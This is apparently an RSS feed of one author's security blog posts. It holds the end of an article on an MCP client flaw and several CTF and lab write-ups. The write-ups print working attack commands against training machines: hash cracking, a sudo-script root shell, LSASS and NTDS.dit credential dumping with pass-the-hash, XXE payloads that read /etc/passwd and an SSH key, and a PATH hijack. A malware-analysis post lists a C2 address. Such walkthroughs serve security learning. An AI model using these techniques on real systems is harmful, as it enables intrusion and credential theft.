landed. Three things make MCP servers a uniquely dangerous place for this kind of bug to hide:</p><p><strong>1. The trust direction is inverted, and most developers don’t notice. </strong>Engineers are trained to sanitize user input reaching a server. Almost nobody is trained to sanitize server responses reaching a client — because in a normal REST API, the server is the trusted party. MCP flips that: the server is often unknown, sometimes discovered dynamically, and the client executes what it’s told.</p><p><strong>2. MCP servers are added the way npm packages are added — fast, and rarely audited. </strong>Rogue server registration is trivial. A malicious or compromised MCP server can sit in a public registry, in a “helpful” GitHub repo, or behind a link shared in a Slack channel, waiting for the first client to connect.</p><p><strong>3. The blast radius is the developer’s own machine. </strong>Unlike a compromised web server sitting behind network segmentation, a compromised MCP client typically runs on a developer laptop or CI runner with source code, credentials, SSH keys, and cloud tokens all within reach.</p><p>Wiz’s 2026 research puts a number on the scale of this shift: MCP-style integration layers are now present in at least 80% of cloud environments, spanning identity, network, supply chain, and runtime trust boundaries that most security programs haven’t mapped yet.</p><h3>The Bigger Picture</h3><p>Agentic AI is projected to sit inside 40% of enterprise applications in 2026, but only a small fraction of security teams say they have a mature strategy for securing it. That gap is exactly where vulnerabilities like CVE-2025–6514 thrive — not because the flaw itself is exotic, but because the surrounding trust model is new enough that old habits don’t catch it.</p><p>The lesson isn’t “MCP is insecure.” The lesson is the same one security has relearned every time a new integration layer takes off — from XML-RPC to REST APIs to webhooks to, now, agent-to-tool protocols: any time software gains a new way to talk to the outside world, that channel becomes the next place attackers look first.</p><p>The model didn’t get tricked this time. The shell did. That should worry us more, not less — because it means these bugs are boring, well-understood, and entirely preventable, and they’re shipping anyway.</p><blockquote><em>Sources: SentinelOne (CVE-2025–6514), GitHub Advisory GHSA-6xpm-ggf7-wc3p, JFrog Security Research, Wiz — Understanding MCP Security, Checkmarx Zero — 11 Emerging AI Security Risks with MCP</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=173bb480e15c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — Cyborg write-up]]></title>
            <link>https://grimthereaperteam.medium.com/thm-cyborg-write-up-0bc707e16e15?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/0bc707e16e15</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Mon, 31 Aug 2026 08:28:46 GMT</pubDate>
            <atom:updated>2026-08-31T08:28:46.400Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/242/0*9cXe5Iv-xUqEet-K.jpeg" /></figure><h3>Task 1: Reconnaissance</h3><h3>Nmap Scan</h3><p>First, an Nmap scan was used to identify open ports and running services on the target machine.</p><pre>nmap -p- -sV -T4 -oN fullscan 10.10.211.137</pre><p>The scan showed two open ports:</p><ul><li>22/tcp → SSH</li><li>80/tcp → HTTP</li></ul><h3>Task 2: Web Enumeration</h3><h3>Directory Enumeration with Gobuster</h3><p>Gobuster was used to find hidden directories on the web server.</p><pre>gobuster dir -u http://10.10.211.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</pre><p>The scan discovered several interesting paths:</p><ul><li>/admin/</li><li>/etc/</li></ul><h3>Admin Page Analysis</h3><p>Opening /admin/admin.html revealed some useful information in the source code, including:</p><ul><li>Usernames: Josh, Adam, and Alex</li><li>A downloadable file named archive.tar</li><li>A backup reference called music_archive</li></ul><h3>Extracting archive.tar</h3><p>The archive.tar file was downloaded from the admin page and extracted using:</p><pre>tar -xvf archive.tar</pre><p>Inside the archive, a BorgBackup repository was found at:</p><pre>/home/field/dev/final_archive</pre><p>The README file confirmed that BorgBackup was used for the backup process.</p><h3>BorgBackup Extraction</h3><h3>Password Cracking</h3><p>The file /etc/squid/passwd contained the following hash:</p><pre>music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.</pre><p>John the Ripper was used to crack the password:</p><pre>john passwd --wordlist=/usr/share/wordlists/rockyou.txt</pre><p>The password was successfully recovered:</p><pre>squidward</pre><h3>Extracting the Backup</h3><p>BorgBackup was installed and the archive was extracted with:</p><pre>sudo apt install borgbackup<br>borg extract ./home/field/dev/final_archive::music_archive</pre><p>After extraction, a note file was found:</p><pre>/home/alex/Documents/note.txt</pre><p>The file contained SSH credentials:</p><pre>alex:S3cretP@s3</pre><h3>User Access</h3><p>SSH access was obtained using Alex’s credentials:</p><pre>ssh alex@10.10.211.137</pre><p>After logging in, the user flag was found:</p><pre>flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}</pre><h3>Privilege Escalation</h3><h3>Checking Sudo Permissions</h3><p>The following command was executed:</p><pre>sudo -l</pre><p>The output showed that the user could run the following script as root without a password:</p><pre>(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh</pre><h3>Exploiting the Misconfiguration</h3><p>The script was writable by the user, which allowed command injection.</p><p>The original script was replaced with:</p><pre>echo &quot;/bin/bash&quot; &gt; /etc/mp3backups/backup.sh</pre><p>Then the script was executed with sudo:</p><pre>sudo /etc/mp3backups/backup.sh</pre><p>This provided a root shell.</p><h3>Root Flag</h3><p>The final flag was located in /root/root.txt:</p><pre>flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}</pre><p>This room helped me understand the importance of enumeration and checking permissions carefully. Small misconfigurations can become serious security problems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0bc707e16e15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malicious Document Analysis — write-up[LetsDefend]]]></title>
            <link>https://grimthereaperteam.medium.com/malicious-document-analysis-write-up-letsdefend-c97dad976373?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c97dad976373</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Fri, 28 Aug 2026 08:51:26 GMT</pubDate>
            <atom:updated>2026-08-28T08:51:26.222Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty : Medium</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/0*L4E3xeEl9w5D96e4.png" /></figure><p><strong>Analyze Malicious Document File</strong></p><ul><li><strong>File Name:</strong> factura.zip</li><li><strong>File Path:</strong> /root/Desktop/ChallengeFiles/factura.zip</li><li><strong>Password:</strong> infected</li><li><strong>Important:</strong> <em>Do </em><strong><em>not</em></strong><em> open this file in your local environment. It contains malicious content.</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTH5OoXsrYk08dneYMzn2Q.png" /></figure><p>first we need to extract a zip file then use exiftool to view infomation about this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8PY4hfoZOfew38qsGwrpwA.png" /></figure><p><strong>Next, I used the following command to analyze the contents of the document:</strong></p><p>./rtfdump.py factura.doc</p><p><strong>Purpose:</strong><br> This command is used to inspect and analyze the internal structure of an RTF (Rich Text Format) file. The tool rtfdump.py helps identify embedded objects, encoded payloads, and suspicious streams that could contain malicious code such as macros, OLE objects, or shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZHeeNaEELAqIQB6yIUfSg.png" /></figure><p><strong>Then, I ran the following command to inspect a specific stream within the document:</strong></p><pre>./rtfdump.py -s 2 factura.doc</pre><p><strong>Purpose:</strong><br> This command selects stream <strong>number 2</strong> from the RTF structure, which may contain embedded malicious objects such as OLE or shellcode. Analyzing specific streams helps narrow down suspicious content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RADA_n6ZrHwckGYG0XDL8Q.png" /></figure><p><strong>Next, I executed the following command to examine the hex content of a specific stream:</strong></p><pre>./rtfdump.py -s 1 -H factura.doc</pre><p><strong>Purpose:</strong><br> This command displays the <strong>hexadecimal representation</strong> of stream <strong>1</strong> in the RTF file. It’s useful for identifying embedded OLE objects, shellcode, or encoded payloads that may not be visible in plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1aJII3EyQGVO2dZM2YaTA.png" /></figure><p>we will see some information in this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7llH1CU65kUVacoaoyF7Gw.png" /></figure><p><strong>After that, I used the following command to extract embedded objects from the document:</strong></p><pre>rtfobj factura.doc</pre><p><strong>Purpose:</strong><br> This command scans the RTF file for <strong>embedded OLE objects</strong> and extracts them. It’s commonly used to uncover <strong>malicious payloads</strong> hidden within .doc or .rtf files, such as dropped executables, shellcode, or malicious macros.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5nM2gswwj_WizxvQlCxmg.png" /></figure><p><strong>Next, I ran the following command to extract all embedded objects from the document:</strong></p><pre>rtfobj -s all factura.doc</pre><p><strong>Purpose:</strong><br> This command extracts <strong>all OLE objects</strong> embedded within the RTF file. It’s useful when analyzing suspicious documents that may contain multiple malicious payloads.</p><p>As a result, a file named factura.doc_object_00000cb6.bin was extracted. This file likely contains an embedded payload for further analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3twbmDoKnwu1EkYgdylwkQ.png" /></figure><p><strong>Then, I used the following command to view the binary content in a human-readable format:</strong></p><pre>xxd factura.doc_object_00000cb6.bin</pre><p><strong>Purpose:</strong><br> This command converts the binary file into a <strong>hexadecimal and ASCII dump</strong>, making it easier to manually inspect the content for signs of <strong>malicious code</strong>, such as embedded shellcode, executable headers (e.g., MZ), or suspicious strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKEjmhcuPIcAYAtKJN4FRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zfgfg3wcmTUVAwwfkw0Agg.png" /></figure><p>we can use some website to view about this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tE3chDpQvBttAEu5as_87A.png" /></figure><p><strong>Next, I ran the following command to inspect the content of stream 1 within the extracted OLE object:</strong></p><pre>python3 oledump.py -s 1 factura.doc_object_00000cb6.bin</pre><p><strong>Purpose:</strong><br> This command is used to <strong>analyze stream 1</strong> from the extracted OLE file. It helps identify suspicious content, such as <strong>VBA macros</strong>, <strong>executable code</strong>, or <strong>auto-execution functions</strong> that may indicate the presence of malware.</p><p>And now, we’re entering the moment of truth… the big quiz round for the million-dollar prizeeeee!!! (Just kidding, lol 😆)</p><ol><li>What type of exploit is running as a result of the relevant file running on the victim machine?</li></ol><p>ans. rtf.exploit</p><p>2. What is the relevant Exploit CVE code obtained as a result of the analysis?</p><p>ans. CVE-2017–11882</p><p>3. What is the name of the malicious software downloaded from the internet as a result of the file running?</p><p>ans. jan2.exe</p><p>4. What is the ip address and port information it communicates with?</p><p>ans. 185.36.74.48:80</p><p>5. What is the exe name it drops to disk after it runs?</p><p>ans. aro.exe</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c97dad976373" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blackfield (HTB)]]></title>
            <link>https://grimthereaperteam.medium.com/blackfield-htb-6f8e2b1d4588?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f8e2b1d4588</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Thu, 27 Aug 2026 01:27:29 GMT</pubDate>
            <atom:updated>2026-08-27T01:27:29.856Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mFqRkRsHmsptixyK.png" /></figure><h3>Enumeration</h3><pre>rustscan -g --ulimit 5000 --timeout 2000 10.10.10.192 &gt; ports &amp;&amp; ports=$(grep -oP &#39;\[\K.*(?=])&#39; ports) &amp;&amp; nmap -sC -sV -v -p$ports -Pn -T4 10.10.10.192</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q541sgd_6AOxSGZQGygONw.png" /></figure><p>The scan reveals many ports open, including port 53 (DNS), 389 (LDAP) and 445 (SMB). This reveals that the server is a domain controller for the BLACKFIELD.LOCAL domain.</p><h3>Foothold</h3><p>Attempting anonymous and guest enumeration of SMB shares reveals a non-default share<br> named profiles$ . There is also another non-default share called forensic that we don’t have access to.</p><pre>smbmap -u guest -H 10.10.10.192</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zasOL04CkmNTRmu5SJFJNQ.png" /></figure><p>Inspecting the profiles$ share reveals a list of user profile or document folders. A list of all<br> usernames can be generated using smbclient -N \\\\10.10.10.192\\profiles$ -c ls | awk ‘{ print $1 }’ , and saved to users.txt.</p><pre>smbclient -N \\\\10.10.10.192\\profiles$ -c ls | awk &#39;{ print $1 }&#39;</pre><p>With a user list and the Kerberos port open, we can try to spray the users Impacket’s<br> <a href="http://getnpusers.py/">GetNpUsers.py</a> in order to see if any user has Kerberos pre-authentication disabled.</p><pre>python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py blackfield.local/ -no-pass -usersfile user.txt -dc-ip 10.10.10.192 | grep -v &#39;KDC_ERR_C_PRINCIPAL_UNKNOWN&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzP_upvNGLsxxHJapjwS0g.png" /></figure><p>After saving the hash to a file called hash , we can attempt to crack it using John the Ripper with the rockyou wordlist.</p><pre>john hash --format=krb5asrep</pre><pre>hashcat -m 18200 hash -o pass.txt /usr/share/wordlists/rockyou.txt --force</pre><pre><br>support:#00^BlackKnight</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xqkx5aT0-UwRfu2fGQr7ng.png" /></figure><p>This is successful, and the password is revealed to be #00^BlackKnight . With a domain account, we can proceed to enumerate Active Directory using bloodhound-python. If we run bloodhound-python with the -ns parameter there will be no need to change the DNS setting on our vm. First, we install bloodhound ingestor using apt (which also installs the neo4j database server), then the data collector with pip3. We can then execute the collector against the target by issuing the bloodhound-python command below.</p><pre>apt install bloodhound<br>pip3 install bloodhound<br>bloodhound-python -u support -p &#39;#00^BlackKnight&#39; -d blackfield.local -ns 10.10.10.192 -c DcOnly</pre><pre>bloodhound</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*LM86hiEduvl32aafIPJ8NA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BevHP1GVJaR7cp9dWg4GPg.png" /></figure><p>To abuse this, we can use rpcclient to set the password.</p><pre>rpcclient -U blackfield/support 10.10.10.192<br>rpcclient $&gt; setuserinfo audit2020 23 P@ssw0rd<br>exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*td8mRsWzzQTeTP4q9OYDkA.png" /></figure><p>After enumerating the SMB shares using CrackMapExec as audit2020 , it’s seen that we now have access to the forensic share.</p><pre>apt install -y crackmapexec<br>crackmapexec smb 10.10.10.192 -u audit2020 -p &#39;P@ssw0rd&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UqyjfkHw4Sg7oCu3wxR-Q.png" /></figure><p>We connect to the forensic share and see a zipped lsass memory dump. LSASS is short for Local Security Authority Subsystem Service, and it stores credentials in memory on behalf of a user that has an active (or recently active) session. This allows the user to access network resources without re-typing their credentials for each service. LSASS may store credentials in multiple forms, including reversibly encrypted password, Kerberos tickets, NT hash, LM hash, DPAPI keys,and Smartcard PIN.</p><p>Credentials are stored in LSASS for sessions that have been established since the last reboot and<br> have not been closed. For example, credentials are created in memory when a user does any of<br> the following (this is not an exhaustive list).</p><ul><li>Logs on to a local session or RDP session on the computer.</li><li>Runs a process using RunAs.</li><li>Runs an active Windows service on the computer.</li><li>Creates a scheduled task or batch job.</li><li>Runs PsExec with explicit creds, such as PsExec \\server -u user -p pwd cmd .</li><li>Uses WinRM with CredSSP.</li></ul><p>So we download the lsass process memory dump locally for further inspection.</p><pre>smbclient \\\\10.10.10.192\\forensic -U=audit2020%P@ssw0rd<br>cd memory_analysis<br>ls<br>get lsass.zip<br>exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKvGl4JS_FRv6qBORyFczA.png" /></figure><p>After unzipping lsass.zip we can use Pypykatz on the extracted lsass.DMP file to retrieve NT hashes.</p><pre>pip3 install pypykatz<br>unzip lsass.zip<br>pypykatz lsa minidump lsass.DMP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*0Zp0yWF9P_S21Y4RRJA21g.png" /></figure><pre>pypykatz lsa minidump lsass.DMP | grep &#39;NT:&#39; | awk &#39;{ print $2 }&#39; | sort -u &gt; hashes<br>pypykatz lsa minidump lsass.DMP | grep &#39;Username:&#39; | awk &#39;{ print $2 }&#39; | sort -u &gt; users<br>crackmapexec smb 10.10.10.192 -u users -H hashes --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALCSNV_fOGb2Xg6SXIWdcA.png" /></figure><h3>Privilege Escalation</h3><pre>evil-winrm -i 10.10.10.192 -u &#39;svc_backup&#39; -H &#39;9658d1d1dcd9250115e2205d9f48400d&#39; -l</pre><pre>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*sMRKPZU6cctLYXxgG6XCkg.png" /></figure><h3>SeBackupPrivilege</h3><p>We start off by creating a file called cmd with the following content and place it in the<br> C:\windows\temp\ folder</p><pre>cd C:\windows\temp</pre><p>create cmd</p><pre>set metadata C:\windows\temp\temp.cabu<br>set context persistent nowritersu<br>add volume c: alias kxisxru<br>createu<br>expose %kxisxr% h:u</pre><pre>upload cmd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*hnB3nupTgH-sWyCOc0tN9Q.png" /></figure><p>We then execute it using diskshadow /s cmd to create a shadow volume accessible via the H:<br> drive.</p><pre>diskshadow /s cmd</pre><p>In Evil-WinRM we upload SeBackupPrivilegeUtils.dll and SeBackupPrivilegeCmdLets.dll<br> from the SeBackupPrivilege GitHub repo, which will allow us to copy files from the newly<br> exposed shadow copy (H:).</p><pre>upload /opt/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll<br>upload /opt/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll</pre><p>Next, import the .dll files and invoke the Copy-FileSeBackupPrivilege cmdlet on ntds.dit and system .</p><pre>import-module .\SeBackupPrivilegeCmdLets.dll<br>import-module .\SeBackupPrivilegeUtils.dll<br>Copy-FileSeBackupPrivilege h:\windows\ntds\ntds.dit c:\windows\temp\ntds -Overwrite<br>Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\system -Overwrite</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AweGhcpabOeIzT5hfGy_Uw.png" /></figure><p>Download the saved files with Evil-WinRM.</p><pre>download system<br>download ntds</pre><p>Then run secretsdump, specifying the LOCAL parameter to extract the hashes from the NTDS.dit.</p><pre>/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds -system system LOCAL</pre><p>If this wasn’t a domain controller, there would be no NTDS.dit file to get passwords from, so we would need to download the SYSTEM, SAM and SECURITY files instead:</p><pre>Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\SYSTEM -Overwrite<br>Copy-FileSeBackupPrivilege h:\windows\system32\config\SECURITY c:\windows\temp\SECURITY -Overwrite<br>Copy-FileSeBackupPrivilege h:\windows\system32\config\SAM c:\windows\temp\SAM -Overwrite</pre><p>From these files we can extract LSA secrets, the machine account and local user hashes using secretsdump.</p><pre>secretsdump.py -security security -sam sam -system system LOCAL</pre><pre>evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*1MDcer31MKxH0aXFuCKTog.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f8e2b1d4588" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mustacchio (TryHackMe)]]></title>
            <link>https://grimthereaperteam.medium.com/mustacchio-tryhackme-d3903c7660d5?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3903c7660d5</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 06:30:32 GMT</pubDate>
            <atom:updated>2026-01-18T06:30:32.856Z</atom:updated>
            <content:encoded><![CDATA[<h4><a href="https://tryhackme.com/r/room/mustacchio">https://tryhackme.com/r/room/mustacchio</a></h4><p>The first step is to perform an nmap scan to determine which ports are open on a target system.</p><pre>nmap -sV -sC -Pn -T4 &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aipNbs7xqjEIuUrS00p4Zw.png" /></figure><p>The system is running an SSH service on port 22, which allows for secure remote login, and a web server on port 80, which is serving a website.</p><h4>HTTP Service on Port 80</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fDqCzvr9te0qvbVaKPW17A.png" /></figure><p>Due to a lack of information found on the website, a further directory search was performed.</p><h4>Gobuster</h4><pre>gobuster dir -u http://&lt;target_ip&gt;-w SecLists/Discovery/Web-Content/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*grDDoY16Krz77ylU88tWlQ.png" /></figure><p>While exploring the /custom/ page, we found a /js/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*m5Hy_j_nsBlO-uN31wWKkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*yMOsI6mPLpmre5RyTWRYkg.png" /></figure><p>The command file is used to determine the type of file. It provides information about the file&#39;s format and encoding, such as whether it is a text file, binary file, or another type.</p><pre>file users.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gKQV69RUiAnDd6v0w5f0Bw.png" /></figure><p>users.bak file is a backup of a SQLite database.</p><p>SQLite is a lightweight, disk-based database management system, and a backup file of this type typically contains a snapshot of the database&#39;s contents at a particular point in time.</p><pre>sqlite3 users.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FUQ643c02deKf1JsmsY9QQ.png" /></figure><p>sqlite3: This is the command-line tool for interacting with SQLite databases.</p><p>The result will be the encrypted username and password.</p><h3>hash password</h3><p>Using the hashcat command to crack passwords.</p><pre>hashid 1**********************************b<br>echo &quot;1**********************************b&quot; &gt; hash.txt<br>hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MORHL0_L1s1PDTNOdMxazQ.png" /></figure><p>The password will be retrieved.</p><h4><strong>Trying to access the system using SSH</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CEXG3LxMVp83ZyM6EPHX2A.png" /></figure><p>Access to the system has been blocked.</p><h4><strong>Scan additional ports.</strong></h4><pre>nmap -p- --min-rate &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03IO-lpOaimb_nYx2buNNA.png" /></figure><p>Accessing the HTTP service on port 8765.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ktDfSHZWUqXj0E_1OD7J6w.png" /></figure><p>Using the previously obtained credentials allows us to log in successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9aB_E8b9erZ8M4MPnDlrg.png" /></figure><p>The source code contains a note stating &lt;!-- Barry, you can now SSH in using your key!--&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pSv6kv-HVlFr6J1vFf289A.png" /></figure><p>The comment box is intended for XML text. Please ensure that you format your comments accordingly.</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;root&gt;<br><br>        &lt;author&gt;hack&lt;/author&gt;<br>        &lt;name&gt;Mustacchio&lt;/name&gt;<br>&lt;/root&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XpNe1kjC6k_t31dlBAadLw.png" /></figure><p>It seems like we can perform an XXE attack.</p><blockquote>Documentation :</blockquote><blockquote>https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing</blockquote><p>To start, we’ll need an id_rsa.pub. Let’s use XXE to grab /etc/passwd and find more users.</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;!DOCTYPE foo [&lt;!ENTRY xxe SYSTEM &quot;file:///etc/passwd&quot;&gt;]&gt; <br>&lt;comment&gt;  <br>&lt;name&gt;Mustacchio&lt;/name&gt;   <br>&lt;author&gt; Hack &lt;/author&gt;<br>&lt;com&gt;&amp;xxe;&lt;/com&gt; <br>&lt;/comment&gt;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2oXE6JlE61W8nIxDofqOOQ.png" /></figure><p>We’ve successfully identified Joe and Barry as users.</p><h4><strong>Hash Cracking</strong></h4><p>Let’s target Barry’s id_rsa private key</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;!DOCTYPE foo [&lt;!ENTRY xxe SYSTEM &quot;file:///home/barry/.ssh/id_rsa&quot;&gt;]&gt; <br>&lt;comment&gt;  <br>&lt;name&gt;Mustacchio&lt;/name&gt;   <br>&lt;author&gt; Hack &lt;/author&gt;<br>&lt;com&gt;&amp;xxe;&lt;/com&gt; <br>&lt;/comment&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0vf48rhiZMXiI9BQDNN6jA.png" /></figure><p>It seems we’ll need to crack the passphrase protecting the id_rsa file. Let’s start by using ssh2john to create a hash for John the Ripper.</p><pre>nano id_rsa <br>/usr/share/john/ssh2john.py id_rsa &gt; hash<br>john hash --wordlist=/usr/share/wordlists/rockyou.txt  <br>john --show hash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2jssIJEc-FGxeLHBpBsoew.png" /></figure><p>Having acquired the password.</p><h4><strong>SSH (Secure Shell)</strong></h4><p>Let’s login!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgBdJh7KFxgHMXPa5N9Nxw.png" /></figure><p>Determine the flag using the contents of user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzsxJIPqXiKPJSqf3RtlrA.png" /></figure><h4><strong>Privilege Escalation</strong></h4><p>The command find / -type f -perm -u=s 2&gt; /dev/null is used to find files with the <strong>SUID</strong> permission in the system.</p><pre>find / -type f -perm -u=s 2&gt; /dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*787Uh4UAWj22U2DBqMWaHg.png" /></figure><p>We can see a log of Joe’s actions in the home/joe/live_log file.</p><pre>ls -la /home/joe/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*VO6R8kp43R53ut0nBPpSOg.png" /></figure><p>The ‘strings’ command can be used on /home/joe/live_log to discover the command executed with elevated privileges by the SUID.</p><pre>strings /home/joe/live_log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SXZlP-SC6c__bFqmMMvy7g.png" /></figure><p>When we string that <strong>live_log</strong> file you can see this line on bin file.</p><p>Let’s modify the PATH environment variable and create a malicious tail command to gain root privileges. We&#39;ll start by creating a file named tail in the /tmp directory and write a script that will provide us with a root shell.</p><pre>cd /tmp<br>echo &quot;/bin/bash&quot; &gt; tail<br>chmod 777 tail<br>export PATH=/tmp:$PATH<br>/home/joe/live_log<br>cd /root<br>cat root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYU74qve6xpEg2K9g22RNA.png" /></figure><p>fter that, you will get the flag value from root.txt. ᡣ˶ᵔ ᵕ ᵔ˶𐭩 ♡</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3903c7660d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe : GamingServer]]></title>
            <link>https://grimthereaperteam.medium.com/tryhackme-gamingserver-cf159ddba2d7?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf159ddba2d7</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Sun, 11 Jan 2026 05:12:43 GMT</pubDate>
            <atom:updated>2026-01-11T05:12:43.177Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe : GamingServer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*Vl20UWErTvJjI462aWj4Bw.png" /></figure><p><strong>TryHackMe: GamingServer</strong> is one of the rooms on the TryHackMe platform, designed for learning about penetration testing and cybersecurity. This room typically simulates a vulnerable game server, allowing users to practice skills in finding and exploiting vulnerabilities.</p><p>In this room, users will practice:</p><p>• Finding vulnerabilities on a game server.</p><p>• Analyzing and exploiting the system using discovered vulnerabilities.</p><p>• Learning to use tools such as <strong>nmap</strong>, <strong>gobuster</strong>, and exploit security weaknesses.</p><p>This room helps users understand how hackers find and exploit vulnerabilities on real servers, enhancing their system security skills.</p><p>//</p><p>Let’s try together.</p><p>//</p><p>First, find some port opening</p><blockquote>nmap -sC -sV {target}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BafwKaiN5ePnj4Sgrjt67g.png" /></figure><p>Two interesting port are open:</p><p>22/tcp open ssh<br> 80/tcp open http</p><p>Try to see that port 80</p><figure><img alt="" 